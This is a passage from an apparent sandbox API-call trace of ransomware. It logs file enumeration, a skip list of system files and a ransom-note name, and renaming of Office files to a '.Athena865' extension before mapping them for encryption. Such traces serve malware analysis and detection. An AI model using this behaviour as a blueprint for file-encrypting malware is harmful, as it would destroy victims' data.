hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.274] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.274] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.282] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x25b80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PJINTLC.DLL", cAlternateFileName="")) returned 1 [0145.282] lstrcmpiW (lpString1="PJINTLC.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.282] lstrcmpiW (lpString1="PJINTLC.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.282] lstrcmpiW (lpString1="PJINTLC.DLL", lpString2=".") returned 1 [0145.282] lstrcmpiW (lpString1="PJINTLC.DLL", lpString2="..") returned 1 [0145.282] lstrcmpiW (lpString1="PJINTLC.DLL", lpString2="windows") returned -1 [0145.282] lstrcmpiW (lpString1="PJINTLC.DLL", lpString2="bootmgr") returned 1 [0145.282] lstrcmpiW (lpString1="PJINTLC.DLL", lpString2="temp") returned -1 [0145.282] lstrcmpiW (lpString1="PJINTLC.DLL", lpString2="pagefile.sys") returned 1 [0145.282] lstrcmpiW (lpString1="PJINTLC.DLL", lpString2="boot") returned 1 [0145.283] lstrcmpiW (lpString1="PJINTLC.DLL", lpString2="ids.txt") returned 1 [0145.283] lstrcmpiW (lpString1="PJINTLC.DLL", lpString2="ntuser.dat") returned 1 [0145.283] lstrcmpiW (lpString1="PJINTLC.DLL", lpString2="perflogs") returned 1 [0145.283] lstrcmpiW (lpString1="PJINTLC.DLL", lpString2="MSBuild") returned 1 [0145.283] lstrlenW (lpString="PJINTLC.DLL") returned 11 [0145.283] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PJINTLC.DLL" | out: lpString1="PJINTLC.DLL") returned="PJINTLC.DLL" [0145.283] lstrlenW (lpString="PJINTLC.DLL") returned 11 [0145.283] lstrlenW (lpString="Athena865") returned 9 [0145.283] lstrcmpiW (lpString1="INTLC.DLL", lpString2="Athena865") returned 1 [0145.283] lstrlenW (lpString=".dll") returned 4 [0145.283] lstrcmpiW (lpString1="PJINTLC.DLL", lpString2=".dll") returned 1 [0145.283] lstrlenW (lpString=".lnk") returned 4 [0145.283] lstrcmpiW (lpString1="PJINTLC.DLL", lpString2=".lnk") returned 1 [0145.283] lstrlenW (lpString=".ini") returned 4 [0145.283] lstrcmpiW (lpString1="PJINTLC.DLL", lpString2=".ini") returned 1 [0145.283] lstrlenW (lpString=".sys") returned 4 [0145.283] lstrcmpiW (lpString1="PJINTLC.DLL", lpString2=".sys") returned 1 [0145.283] lstrlenW (lpString="PJINTLC.DLL") returned 11 [0145.283] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL.Athena865") returned 69 [0145.283] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll.athena865"), dwFlags=0x1) returned 1 [0145.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.286] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=154496) returned 1 [0145.286] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.286] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.287] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.287] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.287] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.288] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x25e80, lpName=0x0) returned 0x17c [0145.289] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x25e80) returned 0x170000 [0145.295] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.295] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.295] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.296] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.296] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0145.297] CloseHandle (hObject=0x17c) returned 1 [0145.297] CloseHandle (hObject=0x154) returned 1 [0145.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.298] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50c24a00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x2980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PMENURES.DLL", cAlternateFileName="")) returned 1 [0145.298] lstrcmpiW (lpString1="PMENURES.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.298] lstrcmpiW (lpString1="PMENURES.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.298] lstrcmpiW (lpString1="PMENURES.DLL", lpString2=".") returned 1 [0145.298] lstrcmpiW (lpString1="PMENURES.DLL", lpString2="..") returned 1 [0145.299] lstrcmpiW (lpString1="PMENURES.DLL", lpString2="windows") returned -1 [0145.299] lstrcmpiW (lpString1="PMENURES.DLL", lpString2="bootmgr") returned 1 [0145.299] lstrcmpiW (lpString1="PMENURES.DLL", lpString2="temp") returned -1 [0145.299] lstrcmpiW (lpString1="PMENURES.DLL", lpString2="pagefile.sys") returned 1 [0145.299] lstrcmpiW (lpString1="PMENURES.DLL", lpString2="boot") returned 1 [0145.299] lstrcmpiW (lpString1="PMENURES.DLL", lpString2="ids.txt") returned 1 [0145.299] lstrcmpiW (lpString1="PMENURES.DLL", lpString2="ntuser.dat") returned 1 [0145.299] lstrcmpiW (lpString1="PMENURES.DLL", lpString2="perflogs") returned 1 [0145.299] lstrcmpiW (lpString1="PMENURES.DLL", lpString2="MSBuild") returned 1 [0145.299] lstrlenW (lpString="PMENURES.DLL") returned 12 [0145.299] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PMENURES.DLL" | out: lpString1="PMENURES.DLL") returned="PMENURES.DLL" [0145.299] lstrlenW (lpString="PMENURES.DLL") returned 12 [0145.299] lstrlenW (lpString="Athena865") returned 9 [0145.299] lstrcmpiW (lpString1="NURES.DLL", lpString2="Athena865") returned 1 [0145.299] lstrlenW (lpString=".dll") returned 4 [0145.299] lstrcmpiW (lpString1="PMENURES.DLL", lpString2=".dll") returned 1 [0145.299] lstrlenW (lpString=".lnk") returned 4 [0145.299] lstrcmpiW (lpString1="PMENURES.DLL", lpString2=".lnk") returned 1 [0145.299] lstrlenW (lpString=".ini") returned 4 [0145.299] lstrcmpiW (lpString1="PMENURES.DLL", lpString2=".ini") returned 1 [0145.299] lstrlenW (lpString=".sys") returned 4 [0145.299] lstrcmpiW (lpString1="PMENURES.DLL", lpString2=".sys") returned 1 [0145.299] lstrlenW (lpString="PMENURES.DLL") returned 12 [0145.299] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL.Athena865") returned 70 [0145.299] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pmenures.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pmenures.dll.athena865"), dwFlags=0x1) returned 1 [0145.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pmenures.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.302] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10624) returned 1 [0145.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.302] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.303] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.303] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.303] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2c80, lpName=0x0) returned 0x17c [0145.305] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2c80) returned 0x100000 [0145.306] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.306] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.306] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.307] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0145.307] CloseHandle (hObject=0x17c) returned 1 [0145.307] CloseHandle (hObject=0x154) returned 1 [0145.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.308] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900f5a00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x900f5a00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x4cf264, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="POWERPNT.DEV.HXS", cAlternateFileName="POWERP~1.HXS")) returned 1 [0145.308] lstrcmpiW (lpString1="POWERPNT.DEV.HXS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.308] lstrcmpiW (lpString1="POWERPNT.DEV.HXS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.308] lstrcmpiW (lpString1="POWERPNT.DEV.HXS", lpString2=".") returned 1 [0145.308] lstrcmpiW (lpString1="POWERPNT.DEV.HXS", lpString2="..") returned 1 [0145.308] lstrcmpiW (lpString1="POWERPNT.DEV.HXS", lpString2="windows") returned -1 [0145.308] lstrcmpiW (lpString1="POWERPNT.DEV.HXS", lpString2="bootmgr") returned 1 [0145.308] lstrcmpiW (lpString1="POWERPNT.DEV.HXS", lpString2="temp") returned -1 [0145.308] lstrcmpiW (lpString1="POWERPNT.DEV.HXS", lpString2="pagefile.sys") returned 1 [0145.308] lstrcmpiW (lpString1="POWERPNT.DEV.HXS", lpString2="boot") returned 1 [0145.308] lstrcmpiW (lpString1="POWERPNT.DEV.HXS", lpString2="ids.txt") returned 1 [0145.308] lstrcmpiW (lpString1="POWERPNT.DEV.HXS", lpString2="ntuser.dat") returned 1 [0145.308] lstrcmpiW (lpString1="POWERPNT.DEV.HXS", lpString2="perflogs") returned 1 [0145.308] lstrcmpiW (lpString1="POWERPNT.DEV.HXS", lpString2="MSBuild") returned 1 [0145.308] lstrlenW (lpString="POWERPNT.DEV.HXS") returned 16 [0145.308] lstrcpyW (in: lpString1=0x241e8a8, lpString2="POWERPNT.DEV.HXS" | out: lpString1="POWERPNT.DEV.HXS") returned="POWERPNT.DEV.HXS" [0145.308] lstrlenW (lpString="POWERPNT.DEV.HXS") returned 16 [0145.308] lstrlenW (lpString="Athena865") returned 9 [0145.308] lstrcmpiW (lpString1="T.DEV.HXS", lpString2="Athena865") returned 1 [0145.309] lstrlenW (lpString=".dll") returned 4 [0145.309] lstrcmpiW (lpString1="POWERPNT.DEV.HXS", lpString2=".dll") returned 1 [0145.309] lstrlenW (lpString=".lnk") returned 4 [0145.309] lstrcmpiW (lpString1="POWERPNT.DEV.HXS", lpString2=".lnk") returned 1 [0145.309] lstrlenW (lpString=".ini") returned 4 [0145.309] lstrcmpiW (lpString1="POWERPNT.DEV.HXS", lpString2=".ini") returned 1 [0145.309] lstrlenW (lpString=".sys") returned 4 [0145.309] lstrcmpiW (lpString1="POWERPNT.DEV.HXS", lpString2=".sys") returned 1 [0145.309] lstrlenW (lpString="POWERPNT.DEV.HXS") returned 16 [0145.309] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS.Athena865") returned 74 [0145.309] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs.athena865"), dwFlags=0x1) returned 1 [0145.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.311] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5042788) returned 1 [0145.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.311] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.312] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.312] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.312] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4cf570, lpName=0x0) returned 0x17c [0145.313] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0xcf570) returned 0x2bb0000 [0145.430] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.431] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.431] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.431] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0145.439] CloseHandle (hObject=0x17c) returned 1 [0145.439] CloseHandle (hObject=0x154) returned 1 [0145.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.447] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="POWERPNT.DEV_COL.HXC", cAlternateFileName="POWERP~1.HXC")) returned 1 [0145.448] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.448] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.448] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXC", lpString2=".") returned 1 [0145.448] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXC", lpString2="..") returned 1 [0145.448] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXC", lpString2="windows") returned -1 [0145.448] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXC", lpString2="bootmgr") returned 1 [0145.448] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXC", lpString2="temp") returned -1 [0145.448] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXC", lpString2="pagefile.sys") returned 1 [0145.448] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXC", lpString2="boot") returned 1 [0145.448] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXC", lpString2="ids.txt") returned 1 [0145.448] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXC", lpString2="ntuser.dat") returned 1 [0145.448] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXC", lpString2="perflogs") returned 1 [0145.448] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXC", lpString2="MSBuild") returned 1 [0145.448] lstrlenW (lpString="POWERPNT.DEV_COL.HXC") returned 20 [0145.448] lstrcpyW (in: lpString1=0x241e8a8, lpString2="POWERPNT.DEV_COL.HXC" | out: lpString1="POWERPNT.DEV_COL.HXC") returned="POWERPNT.DEV_COL.HXC" [0145.448] lstrlenW (lpString="POWERPNT.DEV_COL.HXC") returned 20 [0145.448] lstrlenW (lpString="Athena865") returned 9 [0145.448] lstrcmpiW (lpString1="V_COL.HXC", lpString2="Athena865") returned 1 [0145.448] lstrlenW (lpString=".dll") returned 4 [0145.448] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXC", lpString2=".dll") returned 1 [0145.448] lstrlenW (lpString=".lnk") returned 4 [0145.448] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXC", lpString2=".lnk") returned 1 [0145.448] lstrlenW (lpString=".ini") returned 4 [0145.448] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXC", lpString2=".ini") returned 1 [0145.448] lstrlenW (lpString=".sys") returned 4 [0145.448] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXC", lpString2=".sys") returned 1 [0145.448] lstrlenW (lpString="POWERPNT.DEV_COL.HXC") returned 20 [0145.449] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC.Athena865") returned 78 [0145.449] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc.athena865"), dwFlags=0x1) returned 1 [0145.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.451] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=656) returned 1 [0145.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.451] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.452] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.452] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.452] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x590, lpName=0x0) returned 0x17c [0145.454] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x590) returned 0x100000 [0145.455] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.455] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.455] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.456] RtlAllocateHeap 